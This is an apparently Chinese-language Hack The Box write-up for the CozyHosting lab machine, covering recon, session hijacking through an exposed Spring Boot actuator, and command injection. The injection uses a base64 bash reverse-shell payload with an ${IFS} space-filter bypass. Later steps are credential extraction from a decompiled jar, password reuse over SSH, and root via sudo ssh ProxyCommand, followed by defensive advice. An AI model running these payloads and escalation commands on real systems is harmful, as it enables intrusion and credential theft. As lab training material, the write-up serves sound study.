Hack The Box - CozyHosting WP
字数 1263 2025-08-10 12:17:59

Hack The Box - CozyHosting WP 渗透测试报告

1. 信息收集

1.1 端口扫描

使用nmap进行初始扫描:

nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -p- 10.10.11.230

发现开放端口:

  • 22/tcp - SSH
  • 80/tcp - HTTP

1.2 目录枚举

使用feroxbuster扫描Web目录,发现:

  • /error目录 - 显示"Whitelabel Error Page",表明是Spring Boot应用
  • /actuator/sessions - 暴露会话信息

2. Web应用渗透

2.1 会话劫持

  1. 访问/actuator/sessions获取anderson用户的session值
  2. 替换当前会话cookie为获取的session值
  3. 访问/admin目录获得管理员权限

2.2 远程代码执行(RCE)

发现提交的数据会进行文件写入操作,可利用此进行RCE:

  1. 准备反向shell payload:
echo -n "bash -i >& /dev/tcp/10.10.14.100/4444 0>&1" | base64
# 输出:YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDAvNDQ0NCAwPiYxCg==
  1. 绕过空格限制:
  • 使用${IFS%??}代替空格
  • 其他可用替代:${IFS}%0a、反引号
  1. 最终payload:
echo${IFS%??}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDAvNDQ0NCAwPiYxCg=="${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;
  1. 在目标服务器上监听端口:
nc -lvnp 4444

3. 权限提升

3.1 数据库凭证获取

  1. cloudhosting-0.0.1.jar进行反编译:

    • 使用jd-gui工具
    • 操作流程:File → Open File → 选择文件 → Open → Save All Sources
  2. 搜索敏感信息:

grep -r "password" ./
  1. application.properties中发现数据库凭证:
postgres/Vg&nvzAQ7XxR

3.2 数据库访问

  1. 使用chisel将5432端口转发到本地
  2. 连接PostgreSQL数据库:
psql -U postgres -h 127.0.0.1
  1. 数据库操作:
\c cozyhosting  # 进入数据库
\dt             # 查看表
SELECT * FROM users;  # 查看用户信息
  1. 对获取的哈希进行爆破(使用john或hashcat)

3.3 SSH访问

  1. 发现系统中有josh用户
  2. 尝试使用数据库密码进行SSH登录:
ssh josh@10.10.11.230

3.4 Root权限提升

  1. 检查sudo权限:
sudo -l

显示可以以root身份运行ssh

  1. SSH提权:
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x

4. 技术要点总结

  1. Spring Boot Actuator漏洞

    • /actuator/sessions暴露会话信息
    • 可导致会话劫持和未授权访问
  2. RCE绕过技术

    • 使用${IFS%??}等替代空格
    • Base64编码payload避免特殊字符问题
    • 多阶段执行绕过限制
  3. 数据库凭证泄露

    • 通过反编译Java应用获取
    • 凭证复用攻击(SSH)
  4. 特权提升技术

    • sudo配置不当(允许root执行ssh)
    • SSH ProxyCommand滥用
  5. 工具使用

    • nmap - 端口扫描
    • feroxbuster - 目录枚举
    • jd-gui - Java反编译
    • chisel - 端口转发
    • psql - PostgreSQL客户端

5. 防御建议

  1. 保护Actuator端点:

    • 限制访问IP
    • 禁用不必要的端点
    • 使用强认证
  2. 输入验证:

    • 对用户输入进行严格过滤
    • 禁用危险字符和命令
  3. 凭证管理:

    • 不在代码中硬编码凭证
    • 使用环境变量或密钥管理系统
  4. 最小权限原则:

    • 限制sudo权限
    • 避免过度授权
  5. 日志监控:

    • 监控异常登录尝试
    • 审计敏感操作
Hack The Box - CozyHosting WP 渗透测试报告 1. 信息收集 1.1 端口扫描 使用nmap进行初始扫描: 发现开放端口: 22/tcp - SSH 80/tcp - HTTP 1.2 目录枚举 使用feroxbuster扫描Web目录,发现: /error 目录 - 显示"Whitelabel Error Page",表明是Spring Boot应用 /actuator/sessions - 暴露会话信息 2. Web应用渗透 2.1 会话劫持 访问 /actuator/sessions 获取anderson用户的session值 替换当前会话cookie为获取的session值 访问 /admin 目录获得管理员权限 2.2 远程代码执行(RCE) 发现提交的数据会进行文件写入操作,可利用此进行RCE: 准备反向shell payload: 绕过空格限制: 使用 ${IFS%??} 代替空格 其他可用替代: ${IFS} 、 %0a 、反引号 最终payload: 在目标服务器上监听端口: 3. 权限提升 3.1 数据库凭证获取 对 cloudhosting-0.0.1.jar 进行反编译: 使用jd-gui工具 操作流程:File → Open File → 选择文件 → Open → Save All Sources 搜索敏感信息: 在 application.properties 中发现数据库凭证: 3.2 数据库访问 使用chisel将5432端口转发到本地 连接PostgreSQL数据库: 数据库操作: 对获取的哈希进行爆破(使用john或hashcat) 3.3 SSH访问 发现系统中有josh用户 尝试使用数据库密码进行SSH登录: 3.4 Root权限提升 检查sudo权限: 显示可以以root身份运行ssh SSH提权: 4. 技术要点总结 Spring Boot Actuator漏洞 : /actuator/sessions 暴露会话信息 可导致会话劫持和未授权访问 RCE绕过技术 : 使用 ${IFS%??} 等替代空格 Base64编码payload避免特殊字符问题 多阶段执行绕过限制 数据库凭证泄露 : 通过反编译Java应用获取 凭证复用攻击(SSH) 特权提升技术 : sudo配置不当(允许root执行ssh) SSH ProxyCommand滥用 工具使用 : nmap - 端口扫描 feroxbuster - 目录枚举 jd-gui - Java反编译 chisel - 端口转发 psql - PostgreSQL客户端 5. 防御建议 保护Actuator端点: 限制访问IP 禁用不必要的端点 使用强认证 输入验证: 对用户输入进行严格过滤 禁用危险字符和命令 凭证管理: 不在代码中硬编码凭证 使用环境变量或密钥管理系统 最小权限原则: 限制sudo权限 避免过度授权 日志监控: 监控异常登录尝试 审计敏感操作